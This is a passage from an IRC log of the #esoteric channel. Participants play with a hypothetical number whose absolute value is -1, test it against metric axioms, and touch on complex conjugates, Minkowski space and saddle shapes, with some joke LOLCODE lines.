< 1269215177 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo do you know about infintesimals < 1269215186 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(they are real!) < 1269215200 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Heard of them, don't know much about them < 1269215213 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :they're so cool man < 1269215241 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :do 1/inf and 0/inf have something to do with infinitesimals? < 1269215254 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :* Sgeo once believed in a number more 0-like than 0 < 1269215257 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can define integral as as a sum from 0 to N (where N is an infinity) of f[x]*h (where h = 1/N) < 1269215258 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :00+x = 00 < 1269215259 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't believe they do < 1269215268 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no limits anywhere < 1269215304 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I kind of believed that within each number was a real number line, or something < 1269215308 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's been a while < 1269215325 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and I was struggling with div by 0: < 1269215387 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :1/0 must = 2/0 because 1/0 * 2/2 = 2/0 < 1269215413 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember if I included 0/0 in that group < 1269215425 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But I remember hypothesizing a "number circle" because inf=-inf < 1269215452 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :there's something like that < 1269215454 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wheels < 1269215456 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :same circle metaphor :P < 1269215512 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think wrt /0, I ended up deciding that on a finite scale, those numbers were too far away, but on an infinite scale, they all equaled eachother, making them worthless, or something < 1269215518 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://www.freebsdmall.com/ < 1269215532 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :uhh, wrong window < 1269215533 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I also had visions of number systems branching out from number systems < 1269215557 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :nooga: THAT SITE IS A LIE < 1269215593 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Oh, never mind, it's just painfully slow. < 1269215625 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION also tried to define a number, ai, pronounced at-i, I'll type it as @, such that |@| = -1
< 1269215632 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Free BSDM, Al < 1269215634 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*All < 1269215645 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :alise_: yes, i just noticed that :D < 1269215657 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Could never figure out how to determine |a+b@| < 1269215677 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :that why i was pasting taht :D < 1269215750 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I guess no one's just going to say what the answer would be < 1269215779 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think |a|-|b| is the wrong answer somehow, I _think_ I tried it < 1269215808 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, because |a+b| != |a| + |b|, I think < 1269215875 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that being a+(b*@)? < 1269215879 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or (a+b)*@, or something else entirely < 1269215911 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: < 1269215916 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :a+(b*@) < 1269215999 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269216008 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I decided that |b@| was simply -|b|, since |ab|=|a||b|, unless someone has a counter-example? < 1269216009 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well |a@| is obviously |a|*|@| < 1269216011 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|@| = -1 < 1269216014 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so it's a * -1 < 1269216032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but yeah it's a case of reducing |a+b|... < 1269216052 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Has reducing |a+b| been done, or is it impossible? < 1269216079 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I asked wolfram alpha for some inspiration but it wasn't very helpful < 1269216086 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think you'd just have to make shit up until all the properties work... < 1269216087 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apart from |x| > 0 ofc :P < 1269216094 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :>= that is < 1269216106 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what is?? < 1269216122 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269216194 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why is |a+bi| defined the way it is? < 1269216267 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269216468 0 :alise!~alise___@212.183.140.36 JOIN :#esoteric < 1269216469 0 :AnMaster!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1269216481 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :wb alise < 1269216485 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, because we want |-| to be a "metric" < 1269216495 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :metric? < 1269216505 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :which means |a-b|+|b-c|>=|a-c| and |a-b|=0 <=> a=b < 1269216517 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269216526 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh and |a-b|=|b-a| < 1269216545 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how he can use that to define at least the properties of |a+b@|
< 1269216553 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why do we care about metrics? They make a topology < 1269216559 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why do we care about topologies... I don't know yet < 1269216566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's @ < 1269216593 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :@ is defined such that |@| = -1. Pseudomathematical curiousity that I seem to have interested alise in just now < 1269216615 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[Or, probably less peusomathematically, |x| gains an exception in its definition] < 1269216647 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269216855 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :|a-@| + |@-c| >= |a-c|. If a=0 and c=5, for instance, and this rule is upholdable, |@-5| >= 5 < 1269216881 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm not convinced that it's upholdable given the redefintion, however. < 1269216929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so |@| = -1 < 1269216938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@-1| >= 1 < 1269216941 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@-2| >= 2 < 1269216967 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That seems... broken < 1269216978 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@| = -1, |@-1| = 1 (presumably) < 1269216984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@-2| = 2 < 1269216991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so there's a 0 missing there... < 1269216996 0 :nooga!~nooga@093105098174.pila.vectranet.pl JOIN :#esoteric < 1269216998 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269217063 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If |@-1| = 1, |@-2| = 3, somehow makes more sense, but there's no evidence for that really < 1269217113 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not "sense", but it's nicely pattern-filling < 1269217160 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This number is no number, it's more like a function :P < 1269217166 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :|a-b|+|b-c|>=|a-c| < 1269217170 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269217181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: /msg??? < 1269217292 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :a=@, b=0, c=1 |@-0| + |0-1| >= |@-1| <=> -1 + 1 >= |@-1| < 1269217313 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think we have a problem < 1269217416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well clearly |@-1| results in a number < 1269217425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :~@-1~ < 1269217438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which has these contradictory properties! < 1269217453 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe |a-b|+|b-c|>=|a-c| is simply broken < 1269217544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you are broken :| < 1269217578 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, when |x|>=0 is suddenly violated, I'd expect anything that relies on that to be broken < 1269217590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: /msg :((((( < 1269217597 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im not here right now < 1269217601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: yes you are < 1269217697 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :1 = 1 + 0 = 1 + 0*(-1) = 1 + (1+(-1))*(-1) = 1 + 1*(-1) + (-1)*(-1) = 1 + (-1) + (-1)*(-1) = 0 + (-1)*(-1) = (-1)*(-1) < 1269217755 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan 1 + 0*(-1) = 1 + (1+(-1))*(-1) ? < 1269217760 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ho sorry I see it now < 1269217776 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, that's so.. obvious, looking at it < 1269217783 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269217806 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, that means something major would have to break in order to make a system in which -1*-1=-1 < 1269217813 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269217817 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe 1-1 != 0 < 1269217840 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well 1-1 == 0 is pretty much the _definition_ of negation < 1269217884 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact it's the only property of negation used above < 1269217900 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(1+(-1) = 0) < 1269217915 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 - 1 = 1 + (-1) < 1269217925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :axiom: x + (-x) = i, where i is additive identity < 1269217928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i = 0 < 1269217932 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x + (-x) = 0 < 1269217935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 + (-1) = 0 < 1269217936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 - 1 = 0 < 1269217938 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D. < 1269217973 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You also used a(b+c) = ab+ac < 1269217975 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :BRB < 1269217992 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a-b is just an abbreviation for a+(-b) afaiac < 1269218026 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yeah obviously, and several other properties, but none that involve negation < 1269218032 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah it is < 1269218040 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and since a b = a*b, a-b = a*-b < 1269218044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :therefore a+(-b) = a*-b < 1269218045 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269218047 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :back < 1269218048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Q.E.D! < 1269218058 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats alise -----###
< 1269218060 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Which property is the easiest to break? < 1269218065 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :none of them < 1269218072 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :otherwise someone will have already done so and formalised everything with it < 1269218080 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you have to sacrifice something major, that's why they are fundamental properties < 1269218180 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What causes |a-b| + |b-c| >= |a-c| to break, exactly? < 1269218187 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(Given |@|=-1 < 1269218189 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :) < 1269218208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nothing you just have to break other things to make it work :P < 1269218232 0 :FireFly!unknown@unknown.invalid QUIT :Quit: http://www.qdb.us/60621 < 1269218250 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How is that rule derived? That would be easiest to work with < 1269218289 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a+0=a, 0*a = 0, a+(-a) = 0, (a+b)c = ac+bc, a+(b+c) = (a+b)+c, 1*a = a, 0+a = a < 1269218344 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :of those 0*a = 0 _might_ be derivable from something simpler, but the rest are really fundamental (you could drop one of the first and last by adding commutativity) < 1269218351 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(a+b)c = ac+bc seems somewhat unintuitive. Maybe in the goal of -1*-1=-1, we can break it < 1269218367 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh in fact that means i'm _not_ using commutativity, not even of addition < 1269218436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the distributive law is pretty powerful yeah. but without it there isn't really any connection _between_ addition and multiplication to speak of. < 1269218442 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :You are educated stupid < 1269218462 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Anyone want to email oerjan's proof to Gene Ray? < 1269218494 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he denies the definitions duh < 1269218596 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :|@@| = |@||@| = 1; |a@+b@@| = |[a+b@]@| = -|a+b@| and this probably gets us nowhere < 1269218634 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what |1/@| is
< 1269218664 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|1/x| = 1/|x| < 1269218667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := 1/-1 < 1269218679 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := -1 < 1269218688 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|1/@| = -1 < 1269218689 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can we be certain that that rule works given that |x|=-1 exists? < 1269218701 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unless you find a contradiction. < 1269218727 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: |a-b| + |b-c| >= |a-c| is equivalent to |x| + |y| >= |x+y| < 1269218743 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :btw < 1269218754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@| + |n| >= |@+n| < 1269218757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :earlier on I was using |z-w| as notation for d(z,w) < 1269218760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@| + |1| >= |@+1| < 1269218768 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@+1| <= -1 + 1 < 1269218771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@+1| <= 0 < 1269218772 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :d is just a function onto R(eal) < 1269218781 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :|@+1| = -2, perhaps? < 1269218786 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can prove that d(x,y) >= 0 < 1269218791 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I remember seeing |x|+|y| >= |x+y| before, and deciding that it was broken, I don't remember why < 1269218807 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, wormholes I guess < 1269218813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: plz respond in /msg :( < 1269218854 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :x=@, y=-@, |x| + |y| = |@| + |-@| = -2 >= |@+-@| = |2@| = -2 < 1269218857 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269218876 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :erm, |@+-@| = |0| = 0 < 1269218880 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So yeah, contradiction < 1269218962 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269219122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :CAN HAS SQL? < 1269219123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DBASE IZ GETDB('db/lcsn.db') < 1269219123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :FUNNAHS IZ DBUCKET(&DBASE&,"CAN I PLZ GET * ALL UP IN lollit") < 1269219123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IM IN UR FUNNAHS ITZA TITLE < 1269219123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : VOTEZ IZ &TITLE#ups& - &TITLE#downs& < 1269219124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://imgur.com/noL0U < 1269219127 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :by what metric is lolcode esoteric again? < 1269219189 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sgeo's metric above < 1269219194 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's deliberately strange. < 1269219205 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I made a metric for esotericism? < 1269219240 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you made a metric for *WHOOSH* < 1269219297 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, @ such that |@| = -1. < 1269219330 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You can define the absolute value of a number as the square root of the number times its complex conjugate. < 1269219337 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :|x| = sqrt(x*x') < 1269219406 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, was thinking of sqrt(x*x), but that doesn't work with non-reals. I think the above def. fixes that < 1269219451 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well it _is_ the usual one for complex numbers < 1269219467 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :aka modulus < 1269219474 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the complex conjugate for @? < 1269219481 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And what's @*@? < 1269219512 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If you define a complex number as a 2x2 matrix of real numbers, I'm pretty sure the absolute value is the square root of the determinant. < 1269219528 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a+bi has complex conjugate a-bi < 1269219539 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :sqrt(a^2+b^2), of course. < 1269219553 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :|@| = sqrt(@*@) = @ is not what we want < 1269219562 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So @' != @ < 1269219571 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If sqrt(a^2+b^2) = -1, then a^2+b^2 is an imaginary number. < 1269219575 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Assuming we're following that definition, which might not even be a useful one < 1269219600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :@' is a unique number such that @*@' = -1^2 < 1269219603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := -1 < 1269219604 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :For simplicity, let's assume b = 0. Then a^2 is an imaginary number. < 1269219625 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er wait < 1269219625 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric := 1 < 1269219636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm now that is a bit of an issue < 1269219647 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Why is it a bit of an issue? < 1269219660 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :@' = 1/@. < 1269219705 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Lemme think, the numbers we're familiar with are of the form a + bi. These numbers could simply be a + bi + c@ + di@. < 1269219722 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if this is a quaternion. < 1269219734 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Rather, if this is the quaternions. < 1269219744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes but < 1269219754 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If there are usual rules for abs value for quaternions, then those are broken by this < 1269219758 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :@*@' = -1^2 (because sqrt(@*@')=-1) = 1 < 1269219765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but sqrt(1) is actually 1 < 1269219797 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Heh, right. < 1269219811 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :We'll have to find a way to decide when sqrt(x) is sqrt(x) and when it's -sqrt(x) instead. < 1269219899 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can't you get a similar paradox without @? < 1269219911 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I have heard something that might accomplish this. < 1269219960 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Heard of, rather. < 1269220068 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, I haven't. < 1269220096 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It just seems like absolute values are too fundamentally nonnegative. < 1269220137 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :don't be so nonnegative < 1269220162 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh! < 1269220172 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :minkowsky inner product! < 1269220173 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If we don't find a way to solve this impossible problem, surely humanity will be destroyed! < 1269220180 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That's precisely the thing I mentioned. < 1269220199 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or, well, something with the word Minkowski in it. < 1269220213 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it has _imaginary_ absolute values, not negative ones, though < 1269220226 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(from special relativity theory) < 1269220240 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It has imaginary absolute values? < 1269220249 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but their _square_ is negative though < 1269220253 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :This is not quite related, but for the usual 2x2 matrix representation of (a+bi), [a -b; b a], you do have |a+bi|^2 = det([a -b; b a]) = a^2+b^2... if you do a+b% as [a b; b a] you'd have a fancy number % for which |%| = i. (Since |%|^2 = det([0 1; 1 0]) = -1.) That sort of representation would seem to be sort-of closed under addition and multiplication. < 1269220275 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: yes < 1269220312 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :basically a distance in time has a length that is an imaginary number times a distance in space < 1269220336 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(for combinations of time/space, it depends on whether it's faster than light or not) < 1269220346 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. Find a shape that's like a cone, except that one vertical cross section is a V and a perpendicular one is an upside-down V. < 1269220360 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders hyperconic sections.
< 1269220376 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or whatever the heck those things are called. < 1269220428 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Quadric sections. < 1269220457 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hyperboloids? < 1269220468 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :That is a type of quadric section. < 1269220500 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :two opposed cones would be a degenerate instance of that < 1269220525 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION lost the conversation
< 1269220526 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait that's not what you said < 1269220527 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269220534 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There is no quadric section, not even a degenerate one, that's that I said. < 1269220552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: yours is like a degenerate saddle, more like? < 1269220561 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269220587 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, I'm pretty sure there's only one sane shape that's like that. < 1269220632 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there a way to define @ in terms of imaginary abs. values? < 1269220634 0 :nooga!~nooga@86-63-124-134.sta.asta-net.com.pl JOIN :#esoteric < 1269220636 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you are sure there's at least one? < 1269220662 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What makes a shape sane < 1269220665 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269220680 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take the absolute value, and then multiply it by the square of the sine of the argument. < 1269220689 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/sine/cosine/ < 1269220698 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm actually for timelike distances in minkovski space there _is_ a difference of direction, between forwards and backwards in time < 1269220702 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: sanity. < 1269220719 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The absolute value is actually an insane function, by one formal definition. < 1269220723 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is utterly lost
< 1269220760 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I'm guessing you understand all but one word of "take the absolute value, and then multiply it by the square of the sine of the argument". < 1269220789 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :BRB < 1269220888 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm a saddle surface is defined to be smooth on wikipedia, so wouldn't include your case, or would it? < 1269220923 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no it cannot be smooth, since absolute values are cross sections < 1269220927 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Any smooth function would make a silly absolute value. < 1269220945 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Since it has a non-differentiable spot at zero. < 1269220983 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And |(|x|)| should be |x|, not |x|^2. < 1269221008 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What is the absolute value of (, anyway < 1269221027 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: you forgot to close a parenthesis. < 1269221050 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'll close it here ) < 1269221079 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what the absolute value of (, anyway i'll close it here) is. < 1269221088 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :JOKE MURDERED < 1269221095 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I understand the words, but not the point < 1269221115 0 